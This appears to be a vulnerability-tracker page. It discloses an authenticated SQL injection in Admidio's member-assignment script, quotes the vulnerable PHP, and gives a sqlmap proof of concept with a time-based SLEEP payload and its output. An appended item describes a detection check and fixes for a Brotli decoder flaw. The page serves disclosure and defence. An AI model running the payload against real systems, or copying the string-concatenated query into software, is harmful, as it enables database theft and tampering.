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CVE-2025-62617

ExploitedNVDCIRCLENISA

EUVD-2025-35595 · Published Oct 22, 2025

Admidio Vulnerable to Authenticated SQL Injection in Member Assignment Functionality

Summary

An authenticated SQL injection vulnerability exists in the member assignment data retrieval functionality of Admidio. Any authenticated user with permissions to assign members to a role (such as an administrator) can exploit this vulnerability to execute arbitrary SQL commands. This can lead to a full compromise of the application's database, including reading, modifying, or deleting all data. The vulnerability is present in the latest version, 4.3.16.

Details

The vulnerability is located in the adm_program/modules/groups-roles/members_assignment_data.php script. This script handles an AJAX request to fetch a list of users for role assignment. The filter_rol_uuid GET parameter is not properly sanitized before being used in a raw SQL query.

File: adm_program/modules/groups-roles/members_assignment_data.php

// ... 
// The parameter is retrieved from the GET request without sufficient sanitization for SQL context.
$getFilterRoleUuid = admFuncVariableIsValid($_GET, 'filter_rol_uuid', 'string');
$getMembersShowAll = admFuncVariableIsValid($_GET, 'mem_show_all', 'bool', array('defaultValue' => false));

// ... 
$filterRoleCondition = '';
if ($getMembersShowAll) {
    $getFilterRoleUuid = 0;
} else {
    // show only members of current organization
    if ($getFilterRoleUuid !== '') {
        // VULNERABLE CODE: $getFilterRoleUuid is directly concatenated into the query string.
        $filterRoleCondition = ' AND rol_uuid = \''.$getFilterRoleUuid . '\'';
    }
}

// ...
// The vulnerable $filterRoleCondition is then used inside a subselect.
$sqlSubSelect = '(SELECT COUNT(*) AS count_this
                    FROM '.TBL_MEMBERS.'
              INNER JOIN '.TBL_ROLES.'
                      ON rol_id = mem_rol_id
              INNER JOIN '.TBL_CATEGORIES.'
                      ON cat_id = rol_cat_id
                   WHERE mem_usr_id  = usr_id
                     AND mem_begin  <= \''.DATE_NOW.'\'
                     AND mem_end     > \''.DATE_NOW.'\'
                         '.$filterRoleCondition.'
                     AND rol_valid = true
                     AND cat_name_intern <> \'EVENTS\'
                     AND cat_org_id = '.$gCurrentOrgId.')';
// ...

As shown above, the value of $getFilterRoleUuid is directly concatenated into the $filterRoleCondition variable, which is then embedded within a larger SQL query ($sqlSubSelect). This allows an attacker to break out of the string literal and inject arbitrary SQL commands.

PoC (Proof of Concept)

Prerequisites:

  1. A running instance of Admidio (tested on version 4.3.16).
  2. An authenticated user session with permissions to assign members to a role (e.g., the default 'admin' user).

Execution:
The vulnerability can be triggered by manipulating the filter_rol_uuid parameter in the request to /adm_program/modules/groups-roles/members_assignment_data.php. Due to the large number of parameters, the easiest way to reproduce this is by capturing a legitimate request and replaying it with sqlmap.

  1. Log in to Admidio as an administrator.
  2. Navigate to Groups / Roles.
  3. Click the "Assign members" icon for any existing role.
  4. Using a web proxy like Burp Suite, intercept the GET request made to /adm_program/modules/groups-roles/members_assignment_data.php.
  5. Save the entire raw request to a text file (e.g., admidio_request.txt).
  6. Run the following sqlmap command to confirm the time-based blind SQL injection:
sqlmap -r /path/to/admidio_request.txt -p filter_rol_uuid --technique=T --dbms=mysql --current-db

Result:
sqlmap will successfully identify and exploit the time-based blind SQL injection vulnerability.

---
Parameter: filter_rol_uuid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: role_uuid=...&filter_rol_uuid=' AND (SELECT 3332 FROM (SELECT(SLEEP(5)))vqnl) AND 'ENdG'='ENdG&...
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching current database
[INFO] retrieved: admidio
current database: 'admidio'

This confirms that an attacker can execute arbitrary SQL queries and extract information from the database.

Technologies

Admidio Admidio

Weaknesses

CWE-89

CVSS scores

  • v3.17.2CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

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Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

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